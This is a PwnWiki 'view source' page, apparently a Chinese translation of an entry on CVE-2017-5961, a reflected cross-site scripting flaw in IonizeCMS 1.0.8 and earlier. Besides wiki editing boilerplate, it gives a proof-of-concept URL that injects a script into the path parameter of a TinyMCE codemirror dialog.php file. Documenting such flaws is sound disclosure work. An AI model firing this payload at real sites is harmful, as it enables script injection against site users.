View source for CVE-2017-5961 IonizeCMS XSS漏洞/zh-cn

From PwnWiki

← CVE-2017-5961 IonizeCMS XSS漏洞/zh-cn

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page CVE-2017-5961 IonizeCMS XSS漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
<div lang="chinese" dir="ltr" class="mw-content-ltr">
==漏洞影響==
</div>
<=Ionize 1.0.8

==POC==
<pre>
http://<target>/testcmsofgithub/ionize-master/ionize-master/themes/admin/javascript/tinymce/jscripts/tiny_mce/plugins/codemirror/dialog.php?path=%22%3E%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E%3Cscript%20%22
</pre>

Return to CVE-2017-5961 IonizeCMS XSS漏洞/zh-cn.

Retrieved from "https://pwnwiki.com/index.php?title=CVE-2017-5961_IonizeCMS_XSS漏洞/zh-cn"